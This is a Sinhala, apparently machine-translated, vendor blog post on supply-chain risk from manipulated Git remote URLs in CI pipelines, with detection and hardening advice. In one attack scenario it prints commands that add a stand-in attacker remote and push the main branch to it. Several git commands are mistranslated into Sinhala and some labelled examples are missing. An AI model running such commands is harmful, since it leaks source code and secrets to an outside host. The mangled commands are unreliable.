සරල Git විධානයක් පිටුපස ඇති සැඟවුණු අවදානම
බොහෝ සංවර්ධකයින් සඳහා, git remote set-url origin වැනි විධානයක් ක්රියාත්මක කිරීම Git වින්යාසය පවත්වා ගැනීමේ තවත් පියවරක් පමණක් වන අතර එය සාමාන්ය දෙයක් ලෙස හැඟේ. CI ස්ක්රිප්ට් සාමාන්යයෙන් git remote set-url, remote සඳහා Git set url, හෝ ගොඩනැගීම් අතරතුර Git remote add to fetch හෝ push code වැනි විධාන ක්රියාත්මක කරයි. නමුත් මෙන්න අවදානම: ප්රහාරකයෙකු එම වින්යාසය (දේශීයව හෝ CI තුළ) විකෘති කළහොත්, ඔවුන්ට ඔබේ මූලාශ්රය අනිෂ්ට ගබඩාවකට හරවා යැවීමට, අක්තපත්රවලට බාධා කිරීමට හෝ සැපයුම් දාම අනිෂ්ට මෘදුකාංග එන්නත් කිරීමට හැකිය.
එය සාමාන්යයෙන් භාවිතා කරන ආකාරය පිළිබඳ උදාහරණයක්:
# නීත්යානුකූල භාවිතය
git දුරස්ථ set-url සම්භවය https://github.com/org/project.git
⚠️ අනාරක්ෂිත උදාහරණයක්, අධ්යාපනික අරමුණු සඳහා පමණි. නිෂ්පාදනයේදී භාවිතා නොකරන්න.
ආරක්ෂිත අනුවාදය, පින් කර, ගබඩා සම්භවය සත්යාපනය කරන්න
ඇයි? දුරස්ථ පාලකය ප්රහාරක-පාලිත සත්කාරකයකට මාරු කළහොත්, පසුව එන සෑම git ලබා ගැනීම/git තල්ලුවක්ම අනිෂ්ට කේතයක් වෙත යොමු කරයි. හැකි සෑම විටම දෘඪ කේත විශ්වාසදායක මූලාරම්භයන් සහ වලංගු නොකළ ගතික URL වළක්වා ගන්න.
දුරස්ථ හැසිරවීම ගොඩනැගීමට බාධා කරන ආකාරය Pipeline
වෙනස් කරන ලද Git දුරස්ථ URL එකක් ස්වයංක්රීයකරණයේදී දරුණු ප්රතිවිපාක ඇති කළ හැකිය pipelineස්ක්රිප්ට් ව්යංගයෙන් විශ්වාස කරන තැන.
උදාහරණ අවස්ථාව:
- CI ස්ක්රිප්ට් එකක් ගබඩා ගතිකව නැවත වින්යාස කිරීමට git දුරස්ථ set-url භාවිතා කරයි.
- සම්මුතිගත පරිසර විචල්යයක් (උදා: ටෝකන් හෝ රෙපෝ URL) ස්ක්රිප්ට් එකට එන්නත් කරනු ලැබේ.
- ගොඩනැගීම මඟින් කේතය අනිෂ්ට ගබඩාවකට ලබා ගනී හෝ තල්ලු කරයි.
- ප්රහාරකයා පිටුපස දොරවල් හෝ විකෘති කරන ලද යැපීම් ඇතුළු කරයි.
⚠️ අනාරක්ෂිත උදාහරණයක්, අධ්යාපනික අරමුණු සඳහා පමණි. නිෂ්පාදනයේදී භාවිතා නොකරන්න.
ආරක්ෂිත අනුවාදය, භාවිතයට පෙර $REPO_URL වලංගු කරන්න (සුදු ලැයිස්තු / xygeni සත්යාපනය).
මන්ද: නඩත්තු කරන ලද සුදු ලැයිස්තුවකට එරෙහිව එන repo URL වලංගු කරන්න (නැතහොත් භාවිතා කරන්න xygeni verify --git-origin) ඒවා මත ක්රියා කිරීමට පෙර. මෙය ප්රහාරකයින් පරිසර විචල්යයන් අභිබවා ගොස් නැවත හරවා යැවීම වළක්වයි. pipelines.
දුරස්ථ වින්යාසයේ අනවසර වෙනස්කම් හඳුනා ගැනීම
දුරස්ථ පාලකයක් වෙනස් කළ විට Git ඔබට අනතුරු අඟවන්නේ නැත. පූර්ව ක්රියාකාරී අධීක්ෂණය .git/config සහ පූර්ව ගොඩනැගීමේ අඛණ්ඩතා පරීක්ෂාවන් අවශ්ය වේ.
ප්රායෝගික හඳුනාගැනීමේ ශිල්පීය ක්රම
Git වින්යාසය පරීක්ෂා කරන්න:
git remote -vආරක්ෂිත මූලික රේඛාවක ගබඩා කර ඇති අපේක්ෂිත URL සමඟ ප්රතිදානය සසඳන්න.
වලංගු කරන්න
.git/configඅඛණ්ඩතාව:sha256sum .git/configචෙක්සම් එක විශ්වාසදායක මූලික අගයක් සමඟ සසඳන්න.
CI-පාදක වලංගුකරණය:
validate-origin: script: - xygeni verify --git-origin https://github.com/org/project.git
අධ්යාපනික සටහන: ලොග් හෝ අනාරක්ෂිත පරිසරවල නිරාවරණය වන දිගුකාලීන අක්තපත්ර සමඟ අඛණ්ඩතා පරීක්ෂාවන් හෝ සත්යාපන විධාන ක්රියාත්මක නොකරන්න. තාවකාලික අක්තපත්ර, සුරක්ෂිතාගාර රහස් භාවිතා කරන්න, සහ හැකි සෑම විටම වරප්රසාද ලත් පරිශීලකයෙකු ලෙස වලංගුකරණ විධාන ක්රියාත්මක කිරීමෙන් වළකින්න.
හඳුනාගැනීමේ ඉඟිය: කැනොනිකල් නොවන වසම් වෙත යොමු වන දුරස්ථ පාලක සොයන්න (අනපේක්ෂිත .net, .io, IP ලිපින), අනුපිටපත් දුරස්ථ නම්, හෝ වලංගු කිරීමකින් තොරව repo URL පාලනය කරන පරිසර විචල්යයන්. කලින් හඳුනාගැනීම වළක්වයි git set-url ගොඩනැගිලි දූෂණය කිරීමෙන් සිදුවන හැසිරවීම.
සමඟ නිධි මූලාරම්භය සුරක්ෂිත කිරීම Guardrails සහ හැෂ් වලංගුකරණය
වැළැක්වීම යනු ඔබ ගොඩනඟන්නේ කුමන ගබඩාවලින්ද යන්න පිළිබඳව දැඩි පාලනයන් ක්රියාත්මක කිරීමයි. Guardrails අත්සන් කිරීම, හැෂ් වලංගුකරණය සහ CI විචල්යයන් වෙනස් කළ හැක්කේ කාටද යන්න සීමා කිරීම ඇතුළත් වේ.
ගබඩා අඛණ්ඩතාව සඳහා ආරක්ෂිත පිළිවෙත්
හැකි තැන්වල ගබඩා URL, දෘඪ කේත විශ්වාසදායක මූලාරම්භයන් අමුණන්න:
නිධිය හැෂ් වලංගු කරන්න:
ගොඩනැගීමට පෙර, HEAD අපේක්ෂිත හැෂ් එකකට ගැලපෙන බව තහවුරු කරන්න.
⚠️ අනාරක්ෂිත උදාහරණයක්, ලොග් වල ටෝකන් මුද්රණය කිරීම (නිෂ්පාදනයේදී භාවිතා නොකරන්න).
ආරක්ෂිත අනුවාදය, සුරක්ෂිතාගාරයෙන් රහස් කියවන්න, කිසි විටෙකත් මුද්රණය නොකරන්න.
කුඩා පිරික්සුම් ලැයිස්තුව: ආරක්ෂිත Git දුරස්ථ කළමනාකරණය
- බලාත්මක කරන්න දුරස්ථ URL සුදු ලැයිස්තුගත කිරීම හෝ සත්යාපනය.
- ගොඩනැගීමට පෙර .git/config අඛණ්ඩතාව වලංගු කරන්න.
- අත්සන් කිරීම අවශ්යයි commits සහ ටැග්.
- CI පරිසර විචල්යයන් වෙනස් කළ හැක්කේ කාටද යන්න සීමා කරන්න.
- විගණනය සඳහා git දුරස්ථ set-url සහ git දුරස්ථ එකතු කිරීමේ ලොග් ක්රියාත්මක කිරීම්.
Git දුරස්ථ කට්ටල URL වලංගුකරණය ඒකාබද්ධ කිරීම CI/CD Pipelines
එක් කරන්න guardrails සහ මුල් අවධියේදී දුරස්ථ හැසිරවීම නැවැත්වීම සඳහා ස්වයංක්රීය සත්යාපනය pipeline.
ආරක්ෂක වැට උදාහරණය: අනුපිටපත් හෝ අනවසර දුරස්ථ පාලක සඳහා පරීක්ෂා කරන්න
බෙදාගත් පරිසරවල සැපයුම් දාම විකෘති කිරීමට එරෙහිව දැඩි කිරීම
බෙදාගත් ධාවකයන් සහ අවසර ලත් දුරස්ථ විධාන ඉහළ අවදානම් සහිතයි. රැකියා ධාවන කාලය තුළ පරීක්ෂා නොකළ දුරස්ථ පාලක එකතු කරන විධාන වලින් වළකින්න.
⚠️ අනාරක්ෂිත උදාහරණයක්, ප්රහාරක දුරස්ථ පාලකයක් එක් කිරීම (භාවිතා නොකරන්න).
ආරක්ෂිත අනුවාදය, වලංගු වසම් වලට සීමා කර අනුමත මූලාරම්භ සඳහා පමණක් –set-url භාවිතා කරන්න.
සටහන: තාවකාලික ධාවන තරඟ වලට වැඩි කැමැත්තක් දක්වන්න සහ රැකියා අතර නිරන්තර බෙදාගත් හැඹිලි වලින් වළකින්න.
ධාවකයන් පිළිබඳ සටහන: එක් එක් කාර්යය සඳහා ප්රතිනිර්මාණය කරන ලද තාවකාලික, හුදකලා ධාවකයන් භාවිතා කරන්න. බෙදාගත් තැටි හෝ හැඹිලි මඟින් ගොඩනැගීම් හරහා විකෘති වූ ගොනු පැවතිය හැකිය.
දුරස්ථ වලංගුකරණය සඳහා Git කට්ටල URL එක ඒකාබද්ධ කිරීම CI/CD Pipelines
git දුරස්ථ set-url භාවිතය සුරක්ෂිත කිරීම අතින් පරීක්ෂා කිරීම් පමණක් නොවේ; එය ස්වයංක්රීයකරණය ගැන ය. නවීන DevSecOps වැඩ ප්රවාහයන්ට වලංගුකරණය කෙලින්ම ඒකාබද්ධ කළ හැකිය CI/CD pipelines.
උදාහරණය: ස්වයංක්රීය දුරස්ථ අඛණ්ඩතාව වලංගුකරණය
මෙම වින්යාසය ඕනෑම ගොඩනැගීමක් හෝ යෙදවීමක් ක්රියාත්මක වීමට පෙර, pipeline වලංගු කරයි:
- අපේක්ෂිත අගයට ගබඩා URL එක ගැලපේ.
- Commit අත්සන් වලංගු වේ.
- git add remote භාවිතයෙන් අනපේක්ෂිත දුරස්ථ පාලක එකතු කර නොමැත.
අතිරේක CI පාලනයන්
- Pre-commit hooks: අනවසර නොමැති බව පරීක්ෂා කරන්න git දුරස්ථ set-url විධාන පවතින්නේ commits.
- ප්රතිපත්තිය-කේත-බලාත්මක කිරීම: අනුවාද-පාලිත ප්රතිපත්තිවල කොටසක් ලෙස අවසර ලත් මූලාරම්භයන් නිර්වචනය කරන්න.
- යැපුම් දර්පණය: සෘජු අන්තර්ජාල මූලාශ්ර වෙනුවට සත්යාපිත අභ්යන්තර දර්පණවලින් කේතය අදින්න.
මෙම චෙක්පත් ස්වයංක්රීය කිරීම වැරදි වින්යාසයන් වළක්වනවා පමණක් නොව, කේතය නැව්ගත කිරීමට පෙර සැපයුම් දාම විකෘති කිරීමේ උත්සාහයන් ද හඳුනා ගනී.
බෙදාගත් පරිසරවල සැපයුම් දාම විකෘති කිරීමට එරෙහිව දැඩි කිරීම
බෙදාගත් ධාවකයන් හෝ තාවකාලික CI පරිසරයන් අමතර අවදානම් හඳුන්වා දෙයි. බහු ගොඩනැගීම් සම්පත් බෙදා ගන්නා විට, git දුරස්ථ set-url හෝ git add දුරස්ථ විධාන සැසි හරහා ද්වේෂසහගත දුරස්ථ පාලක දිගටම පැවතීමට ආයුධ කළ හැක.
පොදු ප්රහාර අවස්ථා
සම්මුතිගත ගොඩනැගීමේ ස්ක්රිප්ට් එකක් ප්රහාරකයාගේ ගබඩාවට කේතය තල්ලු කිරීම සඳහා නව දුරස්ථ පාලකයක් එක් කරයි:
git දුරස්ථ උපස්ථයක් එක් කරන්න https://attacker.example.com/repo.git
git push උපස්ථ ප්රධාන
- එම CI නියෝජිතයා මත ක්රියාත්මක වන තවත් ව්යාපෘතියක් මෙම දූෂිත තත්ත්වයෙන් ලබා ගනී.
- ටෝකන හෝ ගොඩනැගිලි කෞතුක වස්තු වැනි සංවේදී දත්ත අනවසර තල්ලු කිරීම් හරහා කාන්දු වේ.
දැඩි කිරීමේ පියවර
- තාවකාලික ධාවකයන්: එක් එක් ගොඩනැගීමෙන් පසු CI පරිසරයන් නැවත සකසන්න.
- ජාල හුදකලාව: අනුමත වසම් වෙත පිටතට යන ගමනාගමනය සීමා කරන්න.
- අවම වරප්රසාද: Git මෙහෙයුම් සඳහා අවසර සීමා කරන්න pipelines.
- කෞතුක වස්තු අත්සන් කිරීම: සියලුම ගොඩනැගීමේ ප්රතිදානයන් ගුප්ත ලේඛනමය වශයෙන් අත්සන් කර සත්යාපනය කර ඇති බවට සහතික වන්න.
හුදකලා කිරීම, වලංගුකරණය සහ අධීක්ෂණය ඒකාබද්ධ කිරීමෙන්, කණ්ඩායම්වලට දුරස්ථ හැසිරවීම සඳහා git set url ගසාකන ප්රහාර උදාසීන කළ හැකිය.
ගබඩා භාරය වලංගු කරන්න, නිරීක්ෂණය කරන්න සහ ස්වයංක්රීය කරන්න
වැරදි ලෙස භාවිතා කරන ලද තනි git දුරස්ථ set-url එකක් හෝ සත්යාපනය නොකළ git add දුරස්ථයක් මඟින් ඔබේ සම්පූර්ණ ගොඩනැගීමේ ක්රියාවලිය ප්රහාරකයා විසින් පාලනය කරන ලද ගබඩාවකට නිහඬව හරවා යැවිය හැක. DevOps හි ඵලදායිතාව සහ සම්මුතිය අතර රේඛාව කිසිදා නොවූ තරම් තුනී වන අතර, මෘදුකාංග සැපයුම් දාම ප්රහාර හරියටම ඒකෙන් ප්රයෝජන ගන්න.
ඔබ කෙරෙහි ඇති විශ්වාසය පවත්වා ගැනීමට pipelines:
- නිධි මූලාරම්භයන් අඛණ්ඩව වලංගු කරන්න.
- බලාත්මක කරන්න commit සහ කෞතුක වස්තු අත්සන් කිරීම.
- ස්වයංක්රීයකරණය සෑම අදියරකදීම අඛණ්ඩතාව පරීක්ෂා කරයි CI/CD.
වගේ වේදිකාවන් සයිජෙනි ද්වේෂසහගත දුරස්ථ පාලකයන්ට කේතය යෙදවීමට අවස්ථාවක් ලැබීමට පෙර, දුරස්ථ වැරදි වින්යාසයන් හඳුනා ගැනීමට, නිධි විශ්වාස සීමාවන් නිරීක්ෂණය කිරීමට සහ Git අනිසි භාවිතය හේතුවෙන් පැන නගින සැපයුම් දාම අවදානම් අවහිර කිරීමට DevSecOps කණ්ඩායම්වලට උදව් කරන්න.
ඔබේ වැඩ ප්රවාහය විශ්වාස කරන්න, නමුත් ඔබේ මූලාශ්රය සත්යාපනය කරන්න. git දුරස්ථ set-url එක ඔබේ ඊළඟ ආරක්ෂක කඩකිරීම බවට පත්වීමෙන් ඔබ වළක්වන්නේ එලෙසයි.





